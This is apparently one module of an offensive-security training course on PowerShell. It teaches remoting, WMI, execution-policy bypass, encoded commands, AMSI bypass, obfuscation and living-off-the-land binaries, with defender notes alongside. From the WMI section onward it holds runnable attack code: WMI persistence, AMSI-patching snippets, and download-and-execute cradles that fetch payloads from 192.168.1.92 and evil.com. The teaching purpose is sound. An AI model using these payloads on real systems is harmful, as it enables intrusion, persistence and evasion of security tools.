Module 3 of 22 — PowerShell fundamentals, offensive techniques, and evasion
🎙️ Mentor Callout — asi dev
"PowerShell is the Windows attacker's native language. If you're attacking Windows and you're not fluent in PowerShell, you're fighting with one hand tied behind your back."
🎯 What the mentor means
Windows was built to be managed through PowerShell. Every service, process, registry key, event log, and network setting is exposed as a programmable object. As an attacker, you don't need to drop noisy third-party tools — you speak the same language the operating system speaks. Native commands blend in, inherit trust, and leave fewer artifacts than foreign binaries.
🔴 Red: Use PowerShell for recon, lateral movement, payload delivery, and persistence. It is pre-installed, trusted, and powerful.
🔵 Blue: PowerShell activity is heavily logged (Event IDs 4103, 4104, 4688). Enable script block logging, transcription, and AMSI to catch abuse of this "native language."
🧠 The Core Truth
PowerShell is not a text shell like CMD or Bash. It is an object-oriented automation engine built on top of the .NET Framework. Every command returns structured objects with properties, methods, and types — not raw text. This means you can filter, sort, and manipulate system data programmatically without parsing strings.
This is why | Where-Object {$_.CPU -gt 100} works — you're filtering objects by property, not parsing text with regex. For an attacker, this means you can query, manipulate, and weaponize every part of Windows as a first-class programming object.
🎯 Layman Translation
CMD is like shouting into a room and reading what echoes back. PowerShell is like asking a librarian for a specific book, then asking that book for its table of contents, then asking for Chapter 3. The librarian (PowerShell) understands structured requests and returns structured answers. You don't grep — you query.
📚 Prerequisites & Cross-Links
This module connects directly to other modules in the 22nd Survey Division course:
PowerShell remoting uses WinRM over HTTP/HTTPS (ports 5985/5986). Understanding TCP, listeners, and firewalls from Module 01 is essential for lateral movement.
PowerShell is the primary delivery vehicle for privilege escalation exploits. Token manipulation, UAC bypass, and service abuse are all scripted in PowerShell.
PowerShell can invoke Windows APIs directly via Add-Type and P/Invoke, enabling process injection, memory allocation, and reflective DLL loading without dropping binaries.
Understanding how defenders detect PowerShell (AMSI, script block logging, ETW) helps you evade. Module 12 covers detection engineering from the blue side.
1. Cmdlets — The Building Blocks
Why "Cmdlet"?
PowerShell commands are called cmdlets (pronounced "command-lets"). They follow a Verb-Noun naming convention: Get-Process, Stop-Service, Invoke-Expression. This makes them self-discoverable. If you can guess the verb, you can find the command.
Think of cmdlets as standardized military forms. Every form has a type (Verb) and a subject (Noun). "Get-Process" is like a "Request-Status" form for equipment. "Stop-Service" is a "Halt-Operation" order. The consistency means you can guess the form you need without memorizing hundreds of commands.
Get-Help — Your Best Friend
PS>Get-Help Get-Process -Full# Shows full documentation: syntax, parameters, examples, inputs, outputsPS>Get-Help *process*# Lists ALL cmdlets containing "process" — self-discoveryPS>Get-Command -Verb Get -Noun *Service*# Lists every "Get" command related to services
Get-Member — Peeking Inside Objects
PS>Get-Process | Get-Member# Shows every property and method available on a Process object# Properties: Id, Name, CPU, WorkingSet, Path, Company, ...# Methods: Kill(), Refresh(), WaitForExit(), ...PS>(Get-Process -Name notepad).Kill()# Calls the Kill() method directly on the object — no text parsing needed
2. The Pipeline — Objects Flow, Not Text
🧠 The Pipeline Truth
In traditional shells, the pipe (|) passes text. In PowerShell, the pipe passes objects. This means each command in a pipeline receives fully structured data with properties, methods, and types intact. You can filter by property, sort by method output, and export to any format without parsing.
# LAYMAN: "Show me the big processes"Get-Process | Sort-Object CPU -Descending | Select-Object -First 5# LOW-LEVEL: "Enumerate process structures, sort by kernel/user time, extract fields"$procs = Get-Process
$sorted = $procs | Sort-Object {$_.CPU} -Descending
$top5 = $sorted | Select-Object -First 5
$top5 | Format-Table Name, Id, CPU, WorkingSet# FIRST PRINCIPLE: Objects flow through the pipeline, not text# Each | passes OBJECTS, not strings. This is why PowerShell is a shell for hackers.
Pipeline Filtering
PS>Get-Process | Where-Object {$_.WorkingSet64 -gt 100MB}# Filter processes by memory usage (property comparison, not regex)PS>Get-Process | Where-Object {$_.ProcessName -like "*chrome*"} |
Select-Object Name, Id, @{N="RAM_MB";E={[math]::Round($_.WorkingSet64/1MB,2)}}# Select specific properties + create calculated property on the flyPS>Get-ChildItem C:\Windows\System32 | Where-Object {$_.Length -gt 1MB} | Sort-Object Length# Find large files, sort by size — all object-based, no string parsing
🎯 Soldier Translation
Imagine a conveyor belt in a factory. In a text shell, each worker gets a pile of paper notes and has to read them to know what to do. In PowerShell, each worker gets a physical object with labels and buttons. They can read the labels (properties) or press the buttons (methods) without any reading or writing. The object is the message.
3. PowerShell Remoting — Lateral Movement
⚠️ Operational Security Warning
PowerShell remoting creates Windows Event Log entries (Event ID 4103, 4104, 53504). It requires authentication and leaves forensic artifacts. Use with caution on engagements — or use evasion techniques covered later in this module.
How Remoting Works
PowerShell remoting uses WinRM (Windows Remote Management), which implements the WS-Management protocol over HTTP (port 5985) or HTTPS (port 5986). It encrypts traffic by default (even over HTTP) using Kerberos or NTLM session keys.
Enabling Remoting (Requires Admin)
PS>Enable-PSRemoting -Force# Starts WinRM service, sets to auto-start, creates firewall exceptionsPS>Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force# Trust all hosts (INSECURE — only for lab use)
Invoke-Command — The Remote Execution Engine
# Execute a command on a remote machinePS>Invoke-Command -ComputerName 192.168.1.42 -ScriptBlock { Get-Process } -Credential (Get-Credential)# Run a local script on a remote machinePS>Invoke-Command -ComputerName 192.168.1.42 -FilePath C:\Tools\recon.ps1# Execute on multiple targets simultaneouslyPS>$targets = @("192.168.1.42", "192.168.1.43", "192.168.1.44")
Invoke-Command -ComputerName $targets -ScriptBlock { hostname; whoami } # Establish a persistent sessionPS>$sess = New-PSSession -ComputerName 192.168.1.42 -Credential domain\user
Invoke-Command -Session $sess -ScriptBlock { Get-Process }
Enter-PSSession -Session $sess # Interactive remote shell
Why This Is Powerful for Attackers
Invoke-Command runs your code in a remote process but returns the output to your console. The code executes in a temporary process (wsmprovhost.exe) on the target. This means:
No persistent process is left behind (ephemeral)
The code runs under the credentials you provide
You can run on 100 machines simultaneously with one command
The traffic is encrypted by default (blend in with legitimate admin activity)
🎯 Soldier Translation
PowerShell remoting is like having a secure phone line to every machine in the network. You dial the number (Invoke-Command), speak your order (ScriptBlock), and the soldier on the other end executes it and reports back. You never have to physically enter the building. The phone call is encrypted, so eavesdroppers (network monitoring) only hear static.
🎙️ Mentor Callout — asi dev
"Look, the Linux terminal is way easier — it's almost like English. PowerShell is clunky, verbose, and object-obsessed. But on Windows, you don't get to choose. Learn it anyway."
🎯 What the mentor means
Bash commands are short, composable, and text-based: ps aux | grep evil reads like a sentence. PowerShell feels heavier because every command is a Verb-Noun cmdlet and the pipeline carries objects, not text. The mentor is admitting PowerShell is awkward — but on a Windows target it is unavoidable. Fluency beats comfort.
🔴 Red: Don't avoid PowerShell because it is verbose. Shorten with aliases and variables when needed, but master the object pipeline — it is the source of PowerShell's power.
🔵 Blue: Attackers may alias or obfuscate cmdlets. Baseline normal PowerShell usage in your environment so anomalies like IEX, DownloadString, and Invoke-Expression stand out.
4. WMI — Windows Management Instrumentation
🧠 The WMI Truth
WMI is Microsoft's implementation of the WBEM standard — a unified interface to query and manage every aspect of Windows: processes, services, disks, network adapters, event logs, installed software, and hardware. It has existed since Windows 2000 and is present on every Windows machine. Attackers love it because it's powerful, always available, and often overlooked by defenders.
WMI Query Language (WQL)
WQL is SQL-like. You query classes (tables) with SELECT statements:
# Basic WMI queries using Get-WmiObject (legacy) or Get-CimInstance (modern)PS>Get-WmiObject -Class Win32_Process | Select-Object -First 5 Name, ProcessId# Lists all processes — same as Get-Process but via WMIPS>Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq "Running"} | Select-Object Name, StartMode# Lists running services and their start modePS>Get-WmiObject -Class Win32_LogicalDisk | Select-Object DeviceID, @{N="Size_GB";E={[math]::Round($_.Size/1GB,2)}}, @{N="Free_GB";E={[math]::Round($_.FreeSpace/1GB,2)}}# Disk space information — useful for finding large drives to exfiltrate fromPS>Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled = 'True'" | Select-Object IPAddress, MACAddress, DefaultIPGateway# Network configuration — IP, MAC, gateway for every active adapter
WMI for Remote Recon
# Query WMI on a remote machine (no PSRemoting required!)PS>Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 -Credential domain\user | Select-Object Name, ProcessId# Check if a specific process is running on a remote hostPS>Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 -Filter "Name = 'lsass.exe'"# List installed software on remote machinePS>Get-WmiObject -Class Win32_Product -ComputerName 192.168.1.42 | Select-Object Name, Version
Why WMI Over PSRemoting?
WMI uses DCOM (port 135 + ephemeral ports) instead of WinRM (5985/5986). Many networks block WinRM but allow DCOM for legacy management tools. WMI is also quieter — it doesn't create the same Event ID 4104 (Script Block Logging) entries that PowerShell remoting does. It's the "old back door" that still works everywhere.
WMI Event Subscription — Persistence
# Create a WMI event subscription that triggers on a timer (persistence)$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "MyFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "MyConsumer"
CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')`""
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}# This creates a WMI persistence mechanism that runs every ~4 minutes after boot.# No scheduled task, no registry run key, no service. Pure WMI.
⚠️ Detection Note
WMI event subscriptions are logged in the WMI-Activity operational log (Event ID 5857, 5858, 5859). Defenders can query root\subscription namespace for __EventFilter and CommandLineEventConsumer instances. See Module 12: Defensive Verification for detection techniques.
🎯 Soldier Translation
WMI is like the building's maintenance system. It knows where every pipe is, every electrical panel, every room temperature, every security camera status. As an attacker, you don't need to break into each room — you just query the maintenance system (WMI) and it tells you everything. You can even program the maintenance system to automatically call you (event subscription) when certain conditions are met.
5. Execution Policy Bypass
🧠 The Execution Policy Truth
PowerShell's Execution Policy is NOT a security boundary. It is a user preference setting. Microsoft explicitly states this. It only controls whether scripts can run from files — it does NOT prevent interactive commands, encoded commands, or in-memory execution. Every red teamer knows: Execution Policy is theater, not security.
Bypass Methods
Method 1: Command-Line Bypass EASY
powershell -ExecutionPolicy Bypass -File C:\Tools\payload.ps1# The -ExecutionPolicy flag overrides the system policy for THIS session onlypowershell -ExecutionPolicy Unrestricted -Command "Get-Process"# Unrestricted allows all scripts, including unsignedpowershell -ExecutionPolicy RemoteSigned -File script.ps1# RemoteSigned requires signatures only for scripts downloaded from the internet
Method 2: Scope-Based Bypass EASY
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass# Changes policy only for the current process — no registry change, no admin neededSet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted# Changes policy for the current user only — persists but is user-specific
Method 3: Registry Bypass MEDIUM
# Read the current policy from registryGet-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ExecutionPolicy# Bypass by modifying the registry (requires admin for HKLM, user for HKCU)Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ExecutionPolicy -Value Bypass
Method 4: No-File Execution (No Policy Needed) EASY
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')"# -Command executes a string, not a file. Execution Policy does not apply.powershell -Command "Get-Process | Where-Object {$_.CPU -gt 100} | Select-Object Name, CPU"# Interactive commands are always allowed regardless of Execution Policy
Why Execution Policy Is Not Security
Execution Policy was designed to prevent accidental script execution by users double-clicking .ps1 files. It was never designed to stop malicious actors. A determined attacker can:
Use -Command or -EncodedCommand (no file involved)
Real security comes from AppLocker, WDAC, Constrained Language Mode, and EDR — not Execution Policy.
6. Encoded Commands — Hiding in Plain Sight
🧠 The Encoding Truth
PowerShell's -EncodedCommand parameter accepts a Base64-encoded string that is decoded and executed in-memory. This bypasses command-line logging (the encoded string is logged, not the plaintext) and evades simple string-matching AV/EDR rules. It's the standard delivery mechanism for PowerShell payloads.
How to Encode
# Step 1: Write your payload as a PowerShell command string$command = 'IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.92/payload.ps1")'# Step 2: Convert to Base64 (Unicode/UTF-16LE — PowerShell requirement)$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Write-Output $encoded# Output: SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA5ADIALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==# Step 3: Execute the encoded commandpowershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA5ADIALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==
One-Liner Encoding
# Encode any command in one line (from cmd.exe or bash)powershell -Command "$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); Write-Output $encoded"# From Linux/attack machine, encode a PowerShell payload for Windows targetecho -n 'IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.92/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0
Why Encoding Works
When you use -EncodedCommand, the PowerShell process receives the Base64 string and decodes it internally. The decoded command is executed in-memory, never written to disk. Command-line logging tools (Sysmon Event ID 1, Windows Event 4688) record the Base64 string, not the plaintext. Simple AV signatures looking for "DownloadString" or "IEX" won't match the encoded form.
⚠️ Detection Note
Modern EDR decodes Base64 in command lines and matches against decoded content. AMSI (covered next) also scans the decoded script in memory. Encoding alone is not enough — you need obfuscation + AMSI bypass for modern environments. See Module 12: Defensive Verification for how defenders detect encoded commands.
🎯 Soldier Translation
Encoding is like writing a message in a cipher before sending it by radio. Anyone listening to the radio (EDR/AV) hears gibberish. Only the receiver (PowerShell) knows the cipher and decodes it internally. However, if the enemy has codebreakers (AMSI/EDR), they can decode it too — so you need more than just encoding. You need to disguise the message's meaning too (obfuscation).
7. AMSI Bypass Basics
🧠 The AMSI Truth
AMSI (Anti-Malware Scan Interface) is a Windows API that allows applications (like PowerShell, VBScript, Office macros, and .NET) to submit content to an registered anti-malware product for scanning before execution. When PowerShell runs a script, AMSI sends the script content to the AV engine. If the AV detects malicious signatures, AMSI returns a "malicious" verdict and PowerShell aborts execution.
AMSI is not a sandbox. It is a content scanning bridge. It scans the code, not the behavior. If the code doesn't look malicious to the signature engine, AMSI passes it. This is why obfuscation and patching work.
How AMSI Works (Simplified)
The AMSI Pipeline
PowerShell receives a script (from file, command line, or memory)
Before execution, PowerShell calls AmsiScanBuffer() or AmsiScanString()
AMSI forwards the content to the registered AV provider (Windows Defender, etc.)
AV scans for signatures (strings, patterns, heuristics)
If clean: AMSI returns AMSI_RESULT_CLEAN (1), execution continues
If malicious: AMSI returns AMSI_RESULT_DETECTED (32768), execution blocked
Bypass Technique 1: Memory Patching (Classic)
# Patch AMSI in-memory by flipping the AmsiScanBuffer result to always return CLEAN$a = [Ref].Assembly.GetTypes() | ForEach-Object {
if ($_.Name -like "*iUtils") { $_ }
}
$b = $a.GetFields('NonPublic,Static') | ForEach-Object {
if ($_.Name -like "*Context") { $_ }
}
$c = $b.GetValue($null)
[IntPtr]$ptr = $c
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)# This finds the AMSI context field in System.Management.Automation and patches it to 0.# Once patched, AMSI scans return CLEAN for the remainder of the session.# ⚠️ Detected by modern EDR — use only for educational purposes.
Bypass Technique 2: Reflection-Based Patching
# Alternative approach using reflection to access non-public types[Ref].Assembly.GetTypes() | Where-Object { $_.Name -eq "AmsiUtils" } | ForEach-Object {
$_.GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true)
}# Sets the internal amsiInitFailed flag to true, causing AMSI to skip initialization.# PowerShell thinks AMSI failed to load and skips scanning entirely.
Bypass Technique 3: Forcing an Error
# Cause AMSI to error out by passing an invalid buffer size$a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*iUtils" }
$b = $a.GetFields('NonPublic,Static') | Where-Object { $_.Name -like "*Failed" }
$b.SetValue($null, $true)# Similar to Technique 2 but targets the init-failed flag specifically.
⚠️ Critical Detection Warning
These techniques are heavily signatured by modern EDR (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint). They trigger on:
Access to [Ref].Assembly.GetTypes() with wildcard patterns
Marshal.Copy operations on AMSI-related pointers
Field names like "amsiInitFailed", "AmsiScanBuffer", "AmsiContext"
ETW (Event Tracing for Windows) events from PowerShell provider
For modern bypasses, you need obfuscation + in-memory .NET assembly loading + custom AMSI bypasses that don't touch known signatures. This module covers the basics; advanced evasion is covered in Module 12: Defensive Verification.
🎯 Soldier Translation
AMSI is like a checkpoint at the entrance to a building. Every package (script) is X-rayed before delivery. A bypass is like bribing the X-ray technician to always press the "green" button, or breaking the X-ray machine so it can't scan. The package still goes through the checkpoint, but the scan is meaningless. However, if the guards (EDR) are watching the technician too, they'll notice the bribe.
8. Obfuscation — Signature Evasion
🧠 The Obfuscation Truth
Obfuscation is the art of making code syntactically different while preserving semantic meaning. AV and EDR use signatures — specific strings, patterns, or AST (Abstract Syntax Tree) structures — to identify malicious code. Obfuscation breaks these signatures by changing how the code looks without changing what it does.
# Using aliases and alternative syntax:# IEX = Invoke-Expression = & (alias)
# Can also use: . (dot-sourcing) or & (call operator)
& ("I" + "EX") ((New-Object Net.WebClient).("Download" + "String")("http://evil.com/payload.ps1"))# Using Format operator (-f):$fmt = "{0}{1} ({2} {3}).{4}('{5}')"
$cmd = $fmt -f "IEX", "", "New-Object", "Net.WebClient", "DownloadString", "http://evil.com/payload.ps1"
IEX $cmd# Using Replace:$base = "IXEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
$base = $base.Replace("IX", "")
IEX $base
Invoke-Obfuscation Framework
# Invoke-Obfuscation is the gold-standard PowerShell obfuscation framework# Install from GitHub: https://github.com/danielbohannon/Invoke-ObfuscationImport-Module Invoke-Obfuscation
Invoke-Obfuscation -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1') } -Command 'Token\All\1'# Applies token-level obfuscation: string splitting, concatenation, reordering, encoding# Output is functionally identical but syntactically unrecognizable to signature engines
Why Obfuscation Still Works
Modern AV uses a combination of signatures, heuristics, and machine learning. But PowerShell is a Turing-complete language — it is mathematically impossible to determine whether arbitrary code is malicious without executing it (the halting problem). Obfuscation exploits this by making the static analysis problem harder. The more layers of obfuscation, the more expensive the analysis becomes for the defender.
⚠️ AMSI + Obfuscation
AMSI scans the deobfuscated script before execution. If your obfuscated script expands to "Invoke-Mimikatz" at runtime, AMSI sees "Invoke-Mimikatz" and blocks it. Obfuscation alone is not enough — you must combine it with an AMSI bypass or use techniques that never expose the full deobfuscated script to the scanner (e.g., staged payloads, .NET assembly loading).
🎯 Soldier Translation
Obfuscation is like writing a message in a language only your team understands. The enemy (AV) has phrasebooks (signatures) for common languages. If you invent a new dialect — splitting words, using code words, writing backwards — the phrasebook is useless. But if the enemy has a translator who can execute the message (AMSI), they still understand the meaning. You need to disable the translator AND use the secret dialect.
9. LOLBAS — Living Off The Land Binaries and Scripts
🧠 The LOLBAS Truth
LOLBAS (Living Off The Land Binaries, Scripts, and Libraries) are legitimate Windows tools and scripts that can be abused for malicious purposes. Because they are signed by Microsoft, pre-installed, and used by administrators daily, they blend in with normal activity. EDR and AV typically whitelist them. This makes them the perfect delivery vehicle for attacks.
PowerShell as a LOLBAS
PowerShell itself is the ultimate LOLBAS. It is signed, trusted, and present on every Windows machine since Windows 7. When you use PowerShell for offense, you are "living off the land."
# Download and execute a payload using only built-in PowerShellpowershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')"# Download a file without invoking IEX (less signatured)powershell -Command "(New-Object Net.WebClient).DownloadFile('http://192.168.1.92/payload.exe', 'C:\Windows\Temp\update.exe')"# Use Invoke-WebRequest (PowerShell 3+) instead of Net.WebClientpowershell -Command "Invoke-WebRequest -Uri 'http://192.168.1.92/payload.ps1' -OutFile 'C:\Windows\Temp\payload.ps1'; IEX (Get-Content 'C:\Windows\Temp\payload.ps1' -Raw)"
Other PowerShell LOLBAS Techniques
CertUtil EASY
Windows certificate utility. Can download and decode Base64 files.
Background Intelligent Transfer Service admin tool. Downloads files stealthily.
bitsadmin /transfer myjob /download /priority high http://192.168.1.92/payload.exe C:\Windows\Temp\payload.exe
InstallUtil MEDIUM
.NET Installer tool. Executes code in Installer classes with full trust.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Tools\payload.dll# The /U (uninstall) switch triggers the Uninstall method in the DLL, executing attacker code# InstallUtil is a trusted .NET utility — often whitelisted by application control
Why LOLBAS Is Effective
LOLBAS techniques exploit the trust boundary between operating system components and third-party security tools. Windows trusts its own binaries. EDR trusts what Windows trusts. By using Windows-native tools for malicious purposes, you inherit that trust. The activity looks like system administration, not malware.
🎙️ Mentor Callout — asi dev
"LOLBAS and built-in tools are king. Why bring a crowbar when the building already gave you the keys? If you're dropping binaries on Windows in 2026, you're doing it wrong."
🎯 What the mentor means
Every binary you upload to a target is a chance to get caught by AV, EDR, or file hashes. Windows already ships with dozens of tools that can download files, execute code, encode payloads, and move laterally. Using certutil, mshta, powershell, or regsvr32 means you never have to smuggle a weapon past the gate — you are using the gatekeeper's own tools.
🔴 Red: Prefer built-in tools at every stage: download with certutil, execute with mshta, persist with WMI. Minimize dropped artifacts.
🔵 Blue: Focus detection on behavior, not binaries. Alert when certutil contacts remote URLs, mshta spawns PowerShell, or regsvr32 loads remote .sct files.
⚠️ Detection Note
Modern EDR monitors LOLBAS behavior, not just the binary. CrowdStrike, SentinelOne, and Microsoft Defender for Endpoint detect:
CertUtil downloading from external URLs
MSHTA spawning PowerShell
Regsvr32 loading remote .sct files
PowerShell with -EncodedCommand and -WindowStyle Hidden
LOLBAS is like using the enemy's own supply trucks to transport your weapons. The trucks (Windows tools) have the enemy's logo (Microsoft signature) and are allowed through every checkpoint. The guards (EDR) don't inspect the cargo because they trust the truck. Your weapons are hidden inside legitimate-looking crates (normal command-line arguments). The trick is to make sure the truck driver (system administrator) doesn't notice the detour.